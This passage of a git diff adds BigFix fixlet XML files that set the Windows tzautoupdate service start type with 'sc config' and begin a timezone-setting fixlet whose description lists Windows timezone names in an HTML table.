+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Service tzautoupdate to DelayedAutoStart - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>not exists keys whose(name of it as lowercase = &quot;tzautoupdate&quot; as lowercase AND exists values &quot;DelayedAutoStart&quot; whose(it as integer = 1) of it AND exists values &quot;Start&quot; whose(it as integer = 2) of it) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services&quot; of registries</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:16:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc config tzautoupdate start= delayed-auto
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to demand - Windows (24611).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to demand - Windows (24611).bes
new file mode 100644
index 000000000..b345f9694
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to demand - Windows (24611).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Service tzautoupdate to demand - Windows
+  ID       : 24611
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Service tzautoupdate to demand - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>not exists start types whose(it = &quot;demand&quot;) of services &quot;tzautoupdate&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:15:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc config tzautoupdate start= demand
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to disabled - Windows (24610).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to disabled - Windows (24610).bes
new file mode 100644
index 000000000..e94f220e5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to disabled - Windows (24610).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Service tzautoupdate to disabled - Windows
+  ID       : 24610
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-08-09T21:18:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Service tzautoupdate to disabled - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists services &quot;tzautoupdate&quot;</Relevance>
+    <Relevance>not exists start types whose(it = &quot;disabled&quot;) of services &quot;tzautoupdate&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Aug 2017 04:15:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden cmd /C sc config tzautoupdate start= disabled
+
+// References:
+//  - https://technet.microsoft.com/en-us/library/cc990290
+//  - https://developer.bigfix.com/relevance/reference/service.html
+//  - https://bigfix.me/relevance/details/3020300
+//  - https://bigfix.me/relevance/details/3020298
+//  - https://bigfix.me/relevance/details/3020297
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Timezone - Windows (2613).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Timezone - Windows (2613).bes
new file mode 100644
index 000000000..3e5bde58e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Timezone - Windows (2613).bes	
@@ -0,0 +1,365 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Timezone - Windows
+  ID       : 2613
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2013-10-08T13:24:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Timezone - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will set the timezone on the endpoint. A few popular timezones have been preset but if you need a custom timezone, use the list below. If the timezone needs to have Daylight Saving Time disabled, append the timezone name with _dstoff, i.e. "Pacific Standard Time_dstoff". A list of all valid timezones is below. Copy the name in the right column of the timezone that you want. Do not include any quotes, just the name in the right column.</P>
+<P>
+<TABLE style="WIDTH: 479pt; BORDER-COLLAPSE: collapse" border=0 cellSpacing=0 cellPadding=0 width=638>
+<COLGROUP>
+<COL style="WIDTH: 312pt; mso-width-source: userset; mso-width-alt: 15213" width=416>
+<COL style="WIDTH: 167pt; mso-width-source: userset; mso-width-alt: 8118" width=222>
+<TBODY>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; WIDTH: 312pt; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20 width=416><FONT size=3><FONT face=Calibri>(UTC-12:00) International Date Line West<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; WIDTH: 167pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" width=222><FONT size=3 face=Calibri>Dateline Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-11:00) Coordinated Universal Time-11<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC-11</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-11:00) Samoa<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Samoa Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-10:00) Hawaii<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Hawaiian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-09:00) Alaska<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Alaskan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-08:00) Baja California<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pacific Standard Time (Mexico)</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-08:00) Pacific Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pacific Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-07:00) Arizona<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>US Mountain Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-07:00) Chihuahua, La Paz, Mazatlan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mountain Standard Time (Mexico)</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-07:00) Mountain Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mountain Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Central America<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central America Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Central Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Guadalajara, Mexico City, Monterrey<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Standard Time (Mexico)</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Saskatchewan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Canada Central Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-05:00) Bogota, Lima, Quito<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SA Pacific Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-05:00) Eastern Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Eastern Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-05:00) Indiana (East)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>US Eastern Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:30) Caracas<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Venezuela Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Asuncion<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Paraguay Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Atlantic Time (Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Atlantic Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Cuiaba<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Brazilian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Georgetown, La Paz, Manaus, San Juan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SA Western Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Santiago<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pacific SA Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:30) Newfoundland<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Newfoundland Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Brasilia<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. South America Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Buenos Aires<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Argentina Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Cayenne, Fortaleza<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SA Eastern Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Greenland<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Greenland Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Montevideo<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Montevideo Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-02:00) Coordinated Universal Time-02<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC-02</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-02:00) Mid-Atlantic<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mid-Atlantic Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-01:00) Azores<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Azores Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-01:00) Cape Verde Is.<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
